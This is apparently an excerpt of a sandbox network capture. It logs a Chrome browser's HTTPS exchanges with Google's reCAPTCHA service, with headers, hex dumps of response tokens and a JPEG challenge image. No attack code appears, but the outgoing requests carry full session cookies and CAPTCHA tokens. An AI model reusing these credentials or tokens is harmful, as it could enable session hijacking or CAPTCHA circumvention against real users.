v=07g0mpPGukTo20VqKa8GbTSw&c=03AFcWeA55ZwnTJkhEogZXwYRg9GPEjtUmogw3biH3eYrjEg2_a2HfGMo_58YqRP5b66Ij8yupjOLEC1ugf0ciN-ILyn6qyiwgqqU_oOBbt83hE8osEi0RtX6qIcKkUINIRyMiGU9Fs1PYUkW2yyvps7b7BQEyyq1pgQPtR4ZmA8ctv9NCpQwIPqW5nn_P9c0ouZSyEcThVK4UQnWoh4MBR1RCv7twCzc9
2024-03-15 12:58:28 UTC	483	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Fri, 15 Mar 2024 12:58:28 GMT Expires: Fri, 15 Mar 2024 12:58:28 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:58:28 UTC	600	IN	Data Raw: 32 35 31 0d 0a 29 5d 7d 27 0a 5b 22 75 76 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 34 36 7a 6f 58 32 70 32 4b 49 58 6b 75 66 41 64 4d 50 6f 49 2d 6f 6b 36 35 32 61 47 4b 32 66 62 4c 6c 79 59 4f 64 64 30 58 50 4c 70 6d 75 68 2d 7a 4f 6c 77 38 4d 4e 2d 32 41 64 46 56 6f 38 51 51 56 32 56 50 59 68 63 67 34 48 6c 4b 6a 61 51 2d 56 6d 34 6f 63 38 42 54 42 38 39 6d 77 68 76 6e 70 30 6f 68 58 63 55 64 6d 68 64 4b 55 30 55 68 44 4f 49 65 4a 6a 78 76 34 6c 42 35 56 78 6a 6d 56 4a 47 59 5a 59 36 70 6a 44 4f 53 54 73 52 30 36 43 50 7a 6c 5f 70 6f 6f 38 67 71 66 35 68 39 79 36 48 4c 6f 37 51 35 6f 47 64 4b 32 66 58 6b 6f 6a 62 64 61 4a 7a 48 45 4e 6d 42 55 69 65 6f 54 65 69 73 33 52 47 4a 33 6a 58 61 57 69 62 41 52 42 49 31 6f 38 53 49 4f 31 48 4f 62 46 59 39 34 Data Ascii: 251)]}'["uvresp","03AFcWeA46zoX2p2KIXkufAdMPoI-ok652aGK2fbLlyYOdd0XPLpmuh-zOlw8MN-2AdFVo8QQV2VPYhcg4HlKjaQ-Vm4oc8BTB89mwhvnp0ohXcUdmhdKU0UhDOIeJjxv4lB5VxjmVJGYZY6pjDOSTsR06CPzl_poo8gqf5h9y6HLo7Q5oGdK2fXkojbdaJzHENmBUieoTeis3RGJ3jXaWibARBI1o8SIO1HObFY94
2024-03-15 12:58:28 UTC	1252	IN	Data Raw: 61 38 32 0d 0a 4a 52 44 32 30 72 69 61 67 56 48 62 74 45 38 6b 47 78 4b 6f 42 77 6e 4f 6e 30 4d 50 56 62 78 5f 79 6f 6c 4e 69 51 31 57 43 4c 6c 6f 34 5f 37 63 32 47 44 42 46 31 62 2d 66 39 44 53 52 5a 4a 4c 44 42 6a 49 48 69 4c 31 67 6e 4d 38 49 75 42 32 71 61 56 7a 47 67 35 54 51 43 79 46 62 34 57 4d 68 47 73 37 53 44 50 4e 69 43 2d 77 68 57 64 4a 6d 35 51 77 35 55 4c 5f 54 75 69 6e 65 47 6b 71 6d 5f 39 73 5f 6e 39 51 61 76 45 34 43 57 51 42 6d 52 70 6b 33 66 77 4b 71 6c 41 37 37 36 53 59 31 38 42 6e 5f 71 5a 34 51 72 4a 58 35 5f 48 7a 76 49 55 71 52 68 75 58 72 4c 4a 35 6e 6c 6f 41 77 77 46 45 77 42 37 69 63 4b 79 35 7a 73 47 64 71 4b 6d 55 7a 2d 37 45 53 59 4b 65 47 36 4a 35 30 31 75 69 4d 43 39 56 6f 53 38 67 70 39 61 7a 37 6d 73 71 5a 31 32 37 33 48 Data Ascii: a82JRD20riagVHbtE8kGxKoBwnOn0MPVbx_yolNiQ1WCLlo4_7c2GDBF1b-f9DSRZJLDBjIHiL1gnM8IuB2qaVzGg5TQCyFb4WMhGs7SDPNiC-whWdJm5Qw5UL_TuineGkqm_9s_n9QavE4CWQBmRpk3fwKqlA776SY18Bn_qZ4QrJX5_HzvIUqRhuXrLJ5nloAwwFEwB7icKy5zsGdqKmUz-7ESYKeG6J501uiMC9VoS8gp9az7msqZ1273H
2024-03-15 12:58:28 UTC	1252	IN	Data Raw: 7a 43 51 78 68 34 78 30 47 2d 72 37 79 69 4d 43 31 4e 68 37 39 4e 42 4a 42 72 79 79 78 43 4c 31 4e 34 58 45 35 4c 5a 4b 33 48 44 6a 35 44 57 4f 6e 45 34 6b 51 6f 52 5a 76 31 6e 43 68 39 4c 32 61 59 6e 53 31 46 51 54 42 43 43 4c 73 79 43 64 49 38 66 57 34 74 77 31 49 6d 6b 49 7a 30 6a 45 42 50 76 69 31 79 59 37 57 4f 64 6c 66 79 50 48 69 67 56 6a 6f 73 4d 49 76 2d 56 69 41 75 77 31 74 43 76 48 46 48 78 4a 71 75 2d 74 69 46 2d 45 67 6f 57 65 6b 4e 32 47 51 68 49 78 57 36 45 6a 43 72 6e 4a 76 63 6a 54 30 68 64 49 6b 34 5a 66 42 79 39 48 78 44 61 55 48 65 44 4e 6d 34 42 4b 32 34 5a 6b 67 6b 47 5f 73 34 45 78 47 67 2d 31 36 7a 62 39 47 5a 4b 68 53 7a 36 62 50 58 59 48 5a 43 4d 6a 73 47 6b 71 78 78 57 74 57 52 78 30 52 6d 78 45 68 5a 38 54 44 36 32 6b 34 61 50 Data Ascii: zCQxh4x0G-r7yiMC1Nh79NBJBryyxCL1N4XE5LZK3HDj5DWOnE4kQoRZv1nCh9L2aYnS1FQTBCCLsyCdI8fW4tw1ImkIz0jEBPvi1yY7WOdlfyPHigVjosMIv-ViAuw1tCvHFHxJqu-tiF-EgoWekN2GQhIxW6EjCrnJvcjT0hdIk4ZfBy9HxDaUHeDNm4BK24ZkgkG_s4ExGg-16zb9GZKhSz6bPXYHZCMjsGkqxxWtWRx0RmxEhZ8TD62k4aP
2024-03-15 12:58:28 UTC	193	IN	Data Raw: 38 58 53 7a 53 5f 69 74 73 56 44 73 74 69 61 64 6d 4f 70 30 67 50 34 38 66 46 5f 4e 65 51 4a 51 38 77 6d 6f 68 64 4f 4b 37 5f 78 5a 47 66 5f 6b 61 33 56 52 68 50 51 41 44 44 63 2d 43 36 79 46 63 47 77 46 48 4f 70 4c 65 63 6a 73 63 4e 79 6d 67 33 64 49 59 69 45 37 30 30 48 44 63 4b 53 30 5f 51 6e 73 6f 73 63 42 64 58 31 51 68 32 34 51 4e 5f 44 32 76 5f 4d 52 70 61 67 6d 6a 38 33 43 69 67 50 4a 6a 4b 74 41 35 38 54 65 31 77 71 52 57 7a 74 36 63 63 42 63 67 43 6d 72 53 37 76 39 66 54 6e 61 6a 73 79 44 6e 46 41 6f 6a 6a 4c 59 6d 66 35 4b 55 56 59 6a 64 39 39 79 63 4c 56 0d 0a Data Ascii: 8XSzS_itsVDstiadmOp0gP48fF_NeQJQ8wmohdOK7_xZGf_ka3VRhPQADDc-C6yFcGwFHOpLecjscNymg3dIYiE700HDcKS0_QnsoscBdX1Qh24QN_D2v_MRpagmj83CigPJjKtA58Te1wqRWzt6ccBcgCmrS7v9fTnajsyDnFAojjLYmf5KUVYjd99ycLV
2024-03-15 12:58:28 UTC	1252	IN	Data Raw: 31 35 31 65 0d 0a 74 72 47 57 42 35 33 69 62 31 58 6f 43 58 6a 78 70 35 34 6b 35 7a 46 50 6f 2d 47 61 5a 37 31 38 76 38 54 4b 38 31 41 69 49 6e 56 69 35 6f 54 31 43 35 66 39 50 6f 6f 47 59 57 50 4b 30 67 45 4a 6d 6b 30 4f 5f 6a 4d 48 38 4d 5a 35 75 78 52 6a 6e 52 44 79 51 48 66 52 4c 57 6a 76 69 58 61 61 70 59 42 78 62 6e 4d 6a 33 62 77 31 46 74 45 48 54 4b 4a 63 38 32 63 52 4f 77 32 62 6d 4e 43 77 44 33 73 30 36 79 78 4e 5a 4d 68 31 46 31 31 55 61 4c 6f 43 76 34 54 75 4f 4a 51 41 69 52 4a 68 55 74 77 4e 6e 48 31 70 51 6e 4e 79 66 4f 52 61 48 6a 32 4d 6c 4b 79 4b 4f 41 6f 63 64 76 63 46 68 66 4c 34 59 32 50 76 31 5a 36 2d 59 39 34 57 67 6c 5f 6d 39 6d 63 32 64 4b 6b 4b 6b 5f 53 52 5f 4f 39 62 44 32 2d 75 5a 78 75 64 4d 6c 6b 58 48 4a 73 33 43 39 4a 42 78 Data Ascii: 151etrGWB53ib1XoCXjxp54k5zFPo-GaZ718v8TK81AiInVi5oT1C5f9PooGYWPK0gEJmk0O_jMH8MZ5uxRjnRDyQHfRLWjviXaapYBxbnMj3bw1FtEHTKJc82cROw2bmNCwD3s06yxNZMh1F11UaLoCv4TuOJQAiRJhUtwNnH1pQnNyfORaHj2MlKyKOAocdvcFhfL4Y2Pv1Z6-Y94Wgl_m9mc2dKkKk_SR_O9bD2-uZxudMlkXHJs3C9JBx
2024-03-15 12:58:28 UTC	1252	IN	Data Raw: 6c 43 48 77 63 52 7a 4c 35 37 63 63 68 56 35 56 73 63 50 41 4f 4c 32 31 31 69 63 46 61 62 34 47 39 78 70 41 6b 62 48 33 79 39 55 49 4e 66 68 66 77 4e 4e 78 72 72 56 45 54 4e 4d 48 4e 71 6b 39 74 35 43 69 49 44 34 35 34 66 30 49 2d 66 71 78 68 5f 67 30 50 58 66 4a 35 69 71 6f 79 72 36 49 72 52 56 4f 66 69 38 69 6e 58 31 6b 49 65 57 58 74 54 49 67 76 52 61 74 4e 4b 43 61 39 54 33 7a 68 51 64 63 31 6e 72 74 39 6e 78 41 4b 6e 6e 7a 72 75 66 57 7a 62 6e 45 4b 4d 59 64 72 79 79 4e 34 54 78 49 74 56 69 4f 36 49 7a 78 69 48 59 74 31 70 75 68 76 50 57 54 6f 30 79 50 52 65 59 59 57 74 45 6e 6b 51 51 53 57 42 49 35 2d 6a 37 49 6b 68 78 2d 31 4e 72 39 6c 69 72 51 4a 2d 45 70 45 63 76 47 78 39 32 2d 74 42 59 34 4d 4b 73 66 79 72 6b 6f 69 59 63 74 51 79 47 59 74 54 47 Data Ascii: lCHwcRzL57cchV5VscPAOL211icFab4G9xpAkbH3y9UINfhfwNNxrrVETNMHNqk9t5CiID454f0I-fqxh_g0PXfJ5iqoyr6IrRVOfi8inX1kIeWXtTIgvRatNKCa9T3zhQdc1nrt9nxAKnnzrufWzbnEKMYdryyN4TxItViO6IzxiHYt1puhvPWTo0yPReYYWtEnkQQSWBI5-j7Ikhx-1Nr9lirQJ-EpEcvGx92-tBY4MKsfyrkoiYctQyGYtTG
2024-03-15 12:58:28 UTC	1252	IN	Data Raw: 37 73 76 72 52 71 5f 4b 67 6b 41 6a 39 33 51 79 6b 49 75 38 65 31 47 47 56 64 43 7a 6e 64 4e 70 50 75 63 6c 32 4b 43 41 78 57 76 59 61 52 61 72 75 6d 34 4a 53 70 32 59 36 6e 74 57 39 33 38 45 77 35 52 4b 39 66 39 74 59 70 43 6a 46 34 54 69 64 78 31 77 61 4c 49 4d 4d 62 4c 78 61 77 4b 4d 47 4c 6a 45 7a 45 42 4c 51 36 32 79 59 6d 33 4d 32 66 6d 49 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 34 52 64 73 75 53 7a 4a 64 68 47 42 32 72 33 70 79 45 58 37 74 6a 6a 6e 48 4f 50 69 37 36 63 38 51 66 66 79 5f 6a 70 63 57 5f 75 33 4c 4e 74 5f 35 75 70 33 33 46 70 4c 59 79 70 49 30 6f 62 36 30 43 6d 59 69 70 4a 57 75 35 72 2d 6b 7a 62 54 64 62 4e 70 64 66 4b 6e 71 39 6b 73 4e 73 50 6d 4c Data Ascii: 7svrRq_KgkAj93QykIu8e1GGVdCzndNpPucl2KCAxWvYaRarum4JSp2Y6ntW938Ew5RK9f9tYpCjF4Tidx1waLIMMbLxawKMGLjEzEBLQ62yYm3M2fmI",0,null,null,null,null,["rresp","03AFcWeA4RdsuSzJdhGB2r3pyEX7tjjnHOPi76c8Qffy_jpcW_u3LNt_5up33FpLYypI0ob60CmYipJWu5r-kzbTdbNpdfKnq9ksNsPmL
2024-03-15 12:58:28 UTC	1252	IN	Data Raw: 69 72 52 71 67 61 6d 4a 4d 58 45 66 71 68 55 50 62 4b 7a 61 49 62 75 31 57 65 6f 36 70 65 73 64 4a 44 35 6f 50 54 51 38 43 6c 35 39 57 54 55 73 7a 4c 76 55 54 4a 55 47 4d 6c 7a 70 56 30 74 55 39 67 64 65 4e 63 50 41 66 52 6b 51 2d 6b 54 48 78 6e 6c 69 4e 39 70 66 78 52 35 61 32 51 34 41 69 2d 31 6c 73 56 6e 49 65 6c 43 66 44 46 65 2d 46 63 77 59 62 74 6c 30 47 5a 32 2d 70 57 6f 30 63 43 4f 6b 49 45 73 56 36 37 42 6b 33 61 37 4f 76 45 46 45 43 38 54 33 5a 61 38 70 57 41 6f 63 75 5f 36 64 56 71 57 67 38 64 74 76 4d 56 59 36 44 54 77 37 66 6e 37 65 44 4e 63 42 79 4a 6b 6d 59 69 4e 41 72 4f 72 54 61 66 6d 50 66 44 74 6c 5f 48 50 70 45 43 71 5a 41 76 46 37 62 7a 68 4c 31 61 53 53 54 66 65 30 73 62 6e 56 50 48 53 79 79 31 36 72 67 70 37 64 66 79 6e 7a 7a 52 32 Data Ascii: irRqgamJMXEfqhUPbKzaIbu1Weo6pesdJD5oPTQ8Cl59WTUszLvUTJUGMlzpV0tU9gdeNcPAfRkQ-kTHxnliN9pfxR5a2Q4Ai-1lsVnIelCfDFe-FcwYbtl0GZ2-pWo0cCOkIEsV67Bk3a7OvEFEC8T3Za8pWAocu_6dVqWg8dtvMVY6DTw7fn7eDNcByJkmYiNArOrTafmPfDtl_HPpECqZAvF7bzhL1aSSTfe0sbnVPHSyy16rgp7dfynzzR2
2024-03-15 12:58:28 UTC	406	IN	Data Raw: 6a 36 68 53 59 39 74 41 7a 45 6b 4e 55 31 6f 51 35 39 54 5f 50 30 6a 30 55 63 39 30 62 6b 44 59 43 34 2d 56 50 48 7a 6e 4c 68 42 4d 63 58 77 68 50 50 43 52 41 63 65 39 4e 63 5a 7a 65 6b 6a 65 4b 51 38 54 69 62 59 49 35 68 62 55 63 33 36 46 63 68 52 30 5a 31 6a 73 61 61 47 6d 67 54 2d 2d 50 59 54 55 77 4f 62 67 59 5f 55 5a 5f 74 79 4f 41 78 34 74 68 34 75 65 69 54 50 58 55 76 45 39 74 7a 34 49 64 52 43 6e 4d 4f 44 6f 48 39 35 61 66 4c 75 45 4a 33 39 34 69 55 65 6b 58 53 64 58 35 56 30 64 67 6e 59 74 35 6f 54 6b 4b 66 66 70 73 4c 33 6c 32 71 67 44 49 32 50 56 37 4e 37 68 62 46 68 72 61 5f 6d 70 4f 5a 76 63 39 6d 77 4f 45 6a 42 4c 4f 34 31 6f 64 53 79 39 7a 6d 57 5f 2d 32 41 73 78 70 38 77 30 53 5a 4d 5f 4f 6e 50 64 37 49 54 6c 35 6e 55 79 4c 63 57 35 49 78 Data Ascii: j6hSY9tAzEkNU1oQ59T_P0j0Uc90bkDYC4-VPHznLhBMcXwhPPCRAce9NcZzekjeKQ8TibYI5hbUc36FchR0Z1jsaaGmgT--PYTUwObgY_UZ_tyOAx4th4ueiTPXUvE9tz4IdRCnMODoH95afLuEJ394iUekXSdX5V0dgnYt5oTkKffpsL3l2qgDI2PV7N7hbFhra_mpOZvc9mwOEjBLO41odSy9zmW_-2Asxp8w0SZM_OnPd7ITl5nUyLcW5Ix

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49766	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:29 UTC	795	OUT	GET /recaptcha/api2/userverify?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:29 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Fri, 15 Mar 2024 12:58:29 GMT Expires: Fri, 15 Mar 2024 12:58:29 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:58:29 UTC	217	IN	Data Raw: 64 33 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: d3<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-03-15 12:58:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49767	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:29 UTC	1423	OUT	GET /recaptcha/api2/payload?p=06AFcWeA7mqDTn3XTDJiy_EmMPxD0ZOmP_jwgiGtQJ-M5rVzwRXeqt_92s4AtDlghbN-vrvsKXyutgx221iYkBIonnmuGd8v9Rk-_I5ha3Q6zbzda6i5-n_zdgKValxTj1I9WTL6qH43PXjUQQAX_krneHTNPIdJMIpfcyldUyeqBhN3tOIIkPeh1M3PN77XJukqRMSdJzZO_JPOayB4Ob5PVmaov2Ft1L8Q&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:29 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:58:29 GMT Date: Fri, 15 Mar 2024 12:58:29 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:58:29 UTC	6	IN	Data Raw: 37 33 39 36 0d 0a Data Ascii: 7396
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C,,"}!1AQa"q2
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: de 98 6d fc 61 a2 cc e3 e7 1a 84 0d ec 3f 78 a7 02 b9 6a 56 8d 3b 2e ac de 95 17 3d 7a 10 fc 62 d2 23 83 c5 5e 21 d5 cc 8c d2 5e 6b 17 11 04 08 49 fb ef 8e 9c f5 51 f9 d6 16 a7 a7 79 5e 16 25 a3 2a 7c c5 f9 5b a8 ca f4 35 e8 3e 22 b2 49 bc 69 ae 4f b1 77 3e a5 71 93 81 9f f5 ad 59 fe 30 b2 09 e1 d9 49 5e 0c eb f8 7c b5 c5 5a a2 95 4b 24 76 d2 a6 e3 4e ed 9e 1d aa db 24 63 7c d1 6f 45 3b b1 9c 74 e7 af 6a cd 9a f5 e3 ba 7d c9 b6 26 6c a7 b7 b1 af 4c b3 b7 d3 3e db 11 d4 64 b6 8a 02 58 33 4e ea ab f7 4f 73 c5 72 30 f8 6e f7 57 06 6b 7b 72 b6 61 b1 24 c7 05 55 33 82 f8 ee 06 0d 75 41 da 9f 33 7a 1c 75 65 18 ca d2 76 32 b4 fb d2 b7 b0 48 0f 09 2a 9c fe 3f fd 6a fa a6 ca f1 36 2c 60 e7 0b 9c e7 ad 7c eb a8 bc 56 9a 6f f6 33 6a 22 ea de dc a8 da 3f 74 59 3a ab Data Ascii: ma?xjV;.=zb#^!^kIQy^%\|[5>"IiOw>qY0I^\|ZK$vN$c\|oE;tj}&lL>dX3NOsr0nWk{ra$U3uA3zuev2H?j6,`\|Vo3j"?tY:
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: c3 a9 31 ea 00 19 27 80 3d 6b 1f c6 7e 20 b7 d0 b4 b9 60 5b 93 14 9b 37 dc ce a7 06 24 3d 02 ff 00 b6 d8 21 7d 00 2c 7a 73 6b 57 d5 23 d3 2c cd c9 0a d3 3e 56 04 63 80 4e 32 49 3d 94 01 92 7b 01 eb 5f 3c 78 ff 00 c4 b1 eb 77 8f 6f f6 d9 1a d6 39 0b 3b 79 64 99 e4 ee e7 f2 00 0e c0 01 da 89 ca da 1a c6 3d 4c cf 15 5f dc 78 83 52 fb 4c b7 16 f0 5b c6 36 5b c2 93 80 23 41 d0 0e 7f cf 27 a9 35 86 d0 4a 26 55 8f 50 94 82 40 db 1c bb 89 fd 69 1c 69 d3 13 1c 51 cc ec 31 9f dd 63 fa d7 59 e1 af 0a de ec 8e e2 2b 2c 34 8b 84 19 03 8f ae 7a d7 2d 5a 9c 8b 45 76 6f 4a 9f 3b d7 44 47 e1 dd 28 ac 49 24 a7 cc 98 8c 16 66 ce 39 e9 93 5d 57 85 d6 da 3f 14 69 aa 27 89 9d 6f 21 c8 47 0c 41 de 3d 0d 4f 63 a6 dd e8 b2 59 5c ea 50 98 22 fb 5c 6a 58 b8 60 32 fe d5 e9 ba 2c b6 Data Ascii: 1'=k~ `[7$=!},zskW#,>VcN2I={_<xwo9;yd=L_xRL[6[#A'5J&UP@iiQ1cY+,4z-ZEvoJ;DG(I$f9]W?i'o!GA=OcY\P"\jX`2,
2024-03-15 12:58:29 UTC	342	IN	Data Raw: 31 11 f5 4f d8 7e 13 49 13 42 22 f0 71 8d d8 33 22 bc 20 12 33 8e 03 7b 9a 55 d0 7e 15 dc 30 82 de cf c2 86 69 30 88 23 68 cb 67 b0 03 77 26 be 54 fe ca bc 04 67 41 d7 07 ae 21 6f 6f f6 2a d6 89 a6 6a 23 59 b5 92 1d 0b 5a f3 12 e1 1d 77 c6 40 c8 60 7f b9 4b 92 1d 87 76 cf 64 d7 fc 19 e1 48 35 9b ab 68 b4 0d 34 22 ca c1 57 f7 a3 03 f0 90 55 31 e0 ef 0c 8c 85 f0 fe 9b cf ab dc ff 00 49 aa b7 8f a5 9c f8 c7 50 57 8e 33 31 95 59 bc b9 48 00 94 53 c6 57 e9 59 26 e6 e2 3c ef 8e 4d c4 f3 86 ce 3f f1 da f3 e7 89 e5 76 b1 5f 23 de bf 67 6d 2a c3 4c 5d 77 ec 1a 7d ad a0 90 db 87 f2 0c a7 76 3c dc 67 cc 77 f5 3d 31 d7 bf 15 e9 93 5c 45 6f 1c b2 4a ea 91 26 e6 91 8f 40 01 35 e4 1f b3 65 d4 a9 1f 88 15 e1 70 ac 2d c8 66 7c fc c3 cc c0 03 1e e7 f2 ad ff 00 89 3e 25 fe Data Ascii: 1O~IB"q3" 3{U~0i0#hgw&TgA!ooj#YZw@`KvdH5h4"WU1IPW31YHSWY&<M?v_#gmL]w}v<gw=1\EoJ&@5ep-f\|>%
2024-03-15 12:58:29 UTC	1252	IN	Data Raw: 9f 72 32 73 52 e9 16 3f 6e b8 59 99 e6 96 30 dd 64 c9 c9 c1 e3 1e 95 85 4a aa 09 c9 9d 50 a6 e6 f9 51 3f 87 f4 d7 96 41 3c c8 bc 9f 95 51 4e 3e bc 9a ef 34 4f 0f ea 37 3e 2e f0 de b3 15 bc 7f 64 b1 86 78 66 76 fb d8 64 3b 4a ff 00 c0 8e 38 aa ba 5d 80 50 3e 43 c7 fb 35 e9 5e 13 8a e0 68 f0 08 e0 88 a8 2c 32 64 2a 7e f1 ed b4 d7 2e 0e a4 a7 55 b7 d8 e9 c5 53 50 a4 92 ee 50 f1 ed aa 3e 87 6a 8e 0e d3 a8 5b ee c7 a6 f0 2b a9 d3 2c 23 b0 81 61 89 9d 80 39 2c c4 64 fe 58 1d 87 e5 5c df c5 28 ef 47 82 6e 5a 35 8e 27 47 8d d5 d6 42 4a 90 c3 07 a0 ae a6 2d 3a 27 44 97 cf bc e4 06 ff 00 8f 97 c7 af ad 7a b1 ea 8f 36 5d cf 3f f1 9c 7f f1 4f bb 7f 77 5a b9 1f 9a ca 6b 13 c5 8a 3f e1 5c 4e f8 07 11 c3 c7 fc 08 0a df f1 b5 84 73 f8 4b 5c 98 bc eb 24 7a a1 db b6 66 01 Data Ascii: r2sR?nY0dJPQ?A<QN>4O7>.dxfvd;J8]P>C5^h,2d*~.USPP>j[+,#a9,dX\(GnZ5'GBJ-:'Dz6]?OwZk?\NsK\$zf
